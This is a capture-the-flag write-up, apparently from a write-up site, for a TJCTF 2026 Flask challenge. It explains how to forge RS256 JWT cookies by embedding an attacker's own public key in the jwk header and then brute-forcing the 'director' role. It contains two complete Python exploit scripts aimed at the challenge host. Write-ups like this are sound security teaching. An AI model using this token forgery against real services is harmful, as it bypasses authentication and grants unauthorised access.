$ cat writeup.md…
$ cat writeup.md…
tjctf
Task: Flask app with RS256 JWT authentication and role-based access to a vault drawer. Solution: Forge JWT by embedding attacker's RSA public key via jwk header parameter injection, then brute-force the required role (director) to access the flag.
welcome to the basement; step inside and claim a badge.
English summary: A Flask web application that issues RS256 JWT tokens as "paper badges" to visitors. Users check in with a name and receive a JWT cookie (paper_badge) with role: "visitor". A protected /drawer endpoint (the "vault drawer") requires a specific elevated role to access. The goal is to forge a valid JWT with the correct role to open the drawer and retrieve the flag.
paper_badge cookie{"alg": "RS256", "kid": "front-desk-2026", "typ": "JWT"}{"iss": "paper-trail-office", "aud": "paper-trail-visitors", "sub": "...", "name": "...", "role": "visitor", "iat": ..., "nbf": ..., "exp": ...}/.well-known/jwks.json with kid front-desk-2026| Endpoint | Method | Description |
|---|---|---|
/ | GET | Main page with check-in form |
/check-in | POST | Issues JWT cookie with role: visitor |
/drawer | GET | Protected vault — requires elevated role |
/.well-known/jwks.json | GET | Public RSA key (JWKS format) |
/drawerThe 401 vs 403 distinction is critical: it tells us whether our forged token passed signature verification (403) or not (401).
The server's JWT verification logic trusts the jwk parameter in the JWT header. Per RFC 7515 §4.1.3, the jwk header parameter embeds the public key used to sign the token. If the server naively uses this embedded key for verification instead of its own trusted keystore, an attacker can:
jwk in the JWT headerThis is a well-known JWT misconfiguration (similar to jku injection but more direct).
Check in with any name and inspect the paper_badge cookie. Decode the JWT to see the RS256 algorithm, the kid, and the role: "visitor" claim. Visit /.well-known/jwks.json to get the server's public key.
Several standard JWT attacks were tried:
| Attack | Result | Why |
|---|---|---|
alg=none (none/None/NONE/nOnE) | 401 | Server rejects unsigned tokens |
kid path traversal + HS256 empty key | 401 | Server doesn't accept HS256 via kid |
| RS256→HS256 algorithm confusion | 401 | Server doesn't accept HS256 at all |
jku header injection | 401 | Server doesn't fetch external JWKS |
Embedded jwk in header | 403 | Signature verified! Role check failed |
The embedded JWK attack returned 403 (not 401), confirming the server trusts the attacker's embedded key.
With a working forgery mechanism, enumerate roles until the server returns 200:
| Role | Status |
|---|---|
| admin, archivist, clerk, staff | 403 |
| root, superuser, manager, owner | 403 |
| director | 200 — flag! |
#!/usr/bin/env python3 """ paper-trail — TJCTF 2026 JWT forgery via embedded JWK header parameter injection + role brute-force """ from cryptography.hazmat.primitives.asymmetric import rsa import jwt, time, requests, base64 TARGET = "https://paper-trail-3d215297eded3b57.tjc.tf" # Step 1: Generate attacker's RSA key pair priv = rsa.generate_private_key(65537, 2048) pub = priv.public_key() nums = pub.public_numbers() def to_b64url(n): b = n.to_bytes((n.bit_length() + 7) // 8, "big") return base64.urlsafe_b64encode(b).rstrip(b"=").decode() # Step 2: Build JWK with attacker's public key jwk = { "kty": "RSA", "n": to_b64url(nums.n), "e": to_b64url(nums.e), "kid": "front-desk-2026", } # Step 3: Forge JWT with elevated role and embedded JWK now = int(time.time()) payload = { "iss": "paper-trail-office", "aud": "paper-trail-visitors", "sub": "attacker", "name": "attacker", "role": "director", # the magic role "iat": now, "nbf": now, "exp": now + 3600, } # Sign with attacker's private key, embed attacker's public key in header token = jwt.encode( payload, priv, algorithm="RS256", headers={"jwk": jwk, "kid": "front-desk-2026"}, ) # Step 4: Access the vault drawer r = requests.get(f"{TARGET}/drawer", cookies={"paper_badge": token}) print(f"Status: {r.status_code}") print(r.text) # Output contains: tjctf{REDACTED}
#!/usr/bin/env python3 """Brute-force the required role once JWK injection is confirmed""" from cryptography.hazmat.primitives.asymmetric import rsa import jwt, time, requests, base64 TARGET = "https://paper-trail-3d215297eded3b57.tjc.tf" priv = rsa.generate_private_key(65537, 2048) pub = priv.public_key() nums = pub.public_numbers() def to_b64url(n): b = n.to_bytes((n.bit_length() + 7) // 8, "big") return base64.urlsafe_b64encode(b).rstrip(b"=").decode() jwk = {"kty": "RSA", "n": to_b64url(nums.n), "e": to_b64url(nums.e), "kid": "front-desk-2026"} ROLES = [ "admin", "archivist", "clerk", "staff", "root", "superuser", "manager", "owner", "director", "president", "ceo", "boss", "secretary", "treasurer", "chairman", "lead", "head", ] now = int(time.time()) for role in ROLES: payload = { "iss": "paper-trail-office", "aud": "paper-trail-visitors", "sub": "attacker", "name": "attacker", "role": role, "iat": now, "nbf": now, "exp": now + 3600, } token = jwt.encode(payload, priv, algorithm="RS256", headers={"jwk": jwk, "kid": "front-desk-2026"}) r = requests.get(f"{TARGET}/drawer", cookies={"paper_badge": token}) status = "FLAG!" if r.status_code == 200 else r.status_code print(f"role={role:15s} → {status}") if r.status_code == 200: print(r.text) break
$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar